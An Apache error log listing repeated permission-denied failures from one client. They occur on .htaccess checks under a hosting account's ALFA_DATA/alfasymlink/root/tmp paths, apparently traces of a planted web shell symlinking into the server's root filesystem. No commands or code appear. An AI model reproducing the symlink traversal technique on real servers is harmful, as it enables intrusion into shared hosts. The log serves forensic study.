[Sun Oct 25 14:22:26.837334 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Iq7IAhBBCA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Iq7IAhBBCA/' is executable
[Sun Oct 25 14:22:26.837346 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/b3IROGlFVp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/b3IROGlFVp/' is executable
[Sun Oct 25 14:22:26.837358 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3tecYTyNge/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/3tecYTyNge/' is executable
[Sun Oct 25 14:22:26.837376 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/GC947gwA7a/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/GC947gwA7a/' is executable
[Sun Oct 25 14:22:26.837432 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-mqjOkx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-mqjOkx/' is executable
[Sun Oct 25 14:22:26.837453 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/IDKGG9qSVX/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/IDKGG9qSVX/' is executable
[Sun Oct 25 14:22:26.837483 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yIE1_o1ryC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/yIE1_o1ryC/' is executable
[Sun Oct 25 14:22:26.837516 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pSZX5IDLqg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pSZX5IDLqg/' is executable
[Sun Oct 25 14:22:26.837539 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o3jCljYMJM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/o3jCljYMJM/' is executable
[Sun Oct 25 14:22:26.837558 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rc35X03xH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rc35X03xH/' is executable
[Sun Oct 25 14:22:26.837578 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_UC3eRcjzH/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_UC3eRcjzH/' is executable
[Sun Oct 25 14:22:26.837593 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-E4Si3D/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-E4Si3D/' is executable
[Sun Oct 25 14:22:26.837607 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-ZaH2Al/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-ZaH2Al/' is executable
[Sun Oct 25 14:22:26.837618 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bYpoGDqHwv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bYpoGDqHwv/' is executable
[Sun Oct 25 14:22:26.837633 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WGtLrvNEoO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WGtLrvNEoO/' is executable
[Sun Oct 25 14:22:26.837649 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/KPaWqZiNSx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/KPaWqZiNSx/' is executable
[Sun Oct 25 14:22:26.837675 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-QEzZ3O/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-chronyd.service-QEzZ3O/' is executable
[Sun Oct 25 14:22:26.837689 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/0sa9T3ad5i/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/0sa9T3ad5i/' is executable
[Sun Oct 25 14:22:26.837701 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Bx1XC6ECXC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Bx1XC6ECXC/' is executable
[Sun Oct 25 14:22:26.837712 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/EB_JgHXTS_/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/EB_JgHXTS_/' is executable
[Sun Oct 25 14:22:26.837724 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S7yeadvPLt/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S7yeadvPLt/' is executable
[Sun Oct 25 14:22:26.837742 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Z33Xr5YNYQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Z33Xr5YNYQ/' is executable
[Sun Oct 25 14:22:26.837770 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9qR6QZfgjM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9qR6QZfgjM/' is executable
[Sun Oct 25 14:22:26.837784 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1f5_lXm747/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1f5_lXm747/' is executable
[Sun Oct 25 14:22:26.837825 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kGbyt5GibL/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kGbyt5GibL/' is executable
[Sun Oct 25 14:22:26.837847 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nvY9ED8VzZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nvY9ED8VzZ/' is executable
[Sun Oct 25 14:22:26.837861 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Re609yu1zD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Re609yu1zD/' is executable
[Sun Oct 25 14:22:26.837895 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6NbtUbNDlC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6NbtUbNDlC/' is executable
[Sun Oct 25 14:22:26.837918 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/UzG84SehML/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/UzG84SehML/' is executable
[Sun Oct 25 14:22:26.837966 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/W8MHf4Zxj7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/W8MHf4Zxj7/' is executable
[Sun Oct 25 14:22:26.837988 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2rVIel3WrA/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2rVIel3WrA/' is executable
[Sun Oct 25 14:22:26.838002 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-chronyd.service-ZW3YbV/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-chronyd.service-ZW3YbV/' is executable
[Sun Oct 25 14:22:26.838014 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cDinXPzzIs/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/cDinXPzzIs/' is executable
[Sun Oct 25 14:22:26.838035 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/r7NY5hafpJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/r7NY5hafpJ/' is executable
[Sun Oct 25 14:22:26.838048 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Qz4yTy6bRg/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Qz4yTy6bRg/' is executable
[Sun Oct 25 14:22:26.838067 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fGFl3Hs6F6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fGFl3Hs6F6/' is executable
[Sun Oct 25 14:22:26.838086 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-GVsiJc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-GVsiJc/' is executable
[Sun Oct 25 14:22:26.838113 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-B8Ejq3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-ea-php81-php-fpm.service-B8Ejq3/' is executable
[Sun Oct 25 14:22:26.838134 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/A4pXv2TKkc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/A4pXv2TKkc/' is executable
[Sun Oct 25 14:22:26.838149 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-5xW5XD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-5xW5XD/' is executable
[Sun Oct 25 14:22:26.838174 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PbgIeBycdi/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PbgIeBycdi/' is executable
[Sun Oct 25 14:22:26.838187 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/uoip5FWHmS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/uoip5FWHmS/' is executable
[Sun Oct 25 14:22:26.838199 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Nisnt6W17S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Nisnt6W17S/' is executable
[Sun Oct 25 14:22:26.838212 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TYWco4I01R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/TYWco4I01R/' is executable
[Sun Oct 25 14:22:26.838230 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HsbhoqpxvF/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/HsbhoqpxvF/' is executable
[Sun Oct 25 14:22:26.838244 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/com.google.Chrome.RuHS4J/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/com.google.Chrome.RuHS4J/' is executable
[Sun Oct 25 14:22:26.838279 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/73W4Upx2xZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/73W4Upx2xZ/' is executable
[Sun Oct 25 14:22:26.838314 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/netAn5lB7R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/netAn5lB7R/' is executable
[Sun Oct 25 14:22:26.838335 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fnSpdRPZXM/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/fnSpdRPZXM/' is executable
[Sun Oct 25 14:22:26.838348 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/iikh7iS_bx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/iikh7iS_bx/' is executable
[Sun Oct 25 14:22:26.838365 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pRcXpLxgau/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/pRcXpLxgau/' is executable
[Sun Oct 25 14:22:26.838408 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bxaVZth3VS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/bxaVZth3VS/' is executable
[Sun Oct 25 14:22:26.838427 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/qoKgRIpeKE/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/qoKgRIpeKE/' is executable
[Sun Oct 25 14:22:26.838440 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/FtHSIHY9fJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/FtHSIHY9fJ/' is executable
[Sun Oct 25 14:22:26.838456 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/k7tPBxTQIo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/k7tPBxTQIo/' is executable
[Sun Oct 25 14:22:26.838468 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XP6cTUswRK/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XP6cTUswRK/' is executable
[Sun Oct 25 14:22:26.838503 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ouS9dGGoxk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ouS9dGGoxk/' is executable
[Sun Oct 25 14:22:26.838525 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-1KIJJh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-ea-php81-php-fpm.service-1KIJJh/' is executable
[Sun Oct 25 14:22:26.838538 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/mFSuYYVNz9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/mFSuYYVNz9/' is executable
[Sun Oct 25 14:22:26.838550 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/40NmY00D8K/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/40NmY00D8K/' is executable
[Sun Oct 25 14:22:26.838570 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7SsEHkh7b7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7SsEHkh7b7/' is executable
[Sun Oct 25 14:22:26.838599 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eLvl5rS_li/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eLvl5rS_li/' is executable
[Sun Oct 25 14:22:26.838614 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/tQSVI9ghfx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/tQSVI9ghfx/' is executable
[Sun Oct 25 14:22:26.838627 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-KhsG26/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-KhsG26/' is executable
[Sun Oct 25 14:22:26.838647 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Rbnkhw3mMN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Rbnkhw3mMN/' is executable
[Sun Oct 25 14:22:26.838671 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XtfNlSjyV2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XtfNlSjyV2/' is executable
[Sun Oct 25 14:22:26.838689 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/No9Qeb2GGl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/No9Qeb2GGl/' is executable
[Sun Oct 25 14:22:26.838716 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/DRWsFfNFOJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/DRWsFfNFOJ/' is executable
[Sun Oct 25 14:22:26.838730 2026] [core:crit] [pid 2875825:tid 2875825] (13)Permission denied: [client 76.135.135.39:62796] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/p_Vpg5SIle/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/p_Vpg5SIle/' is executable
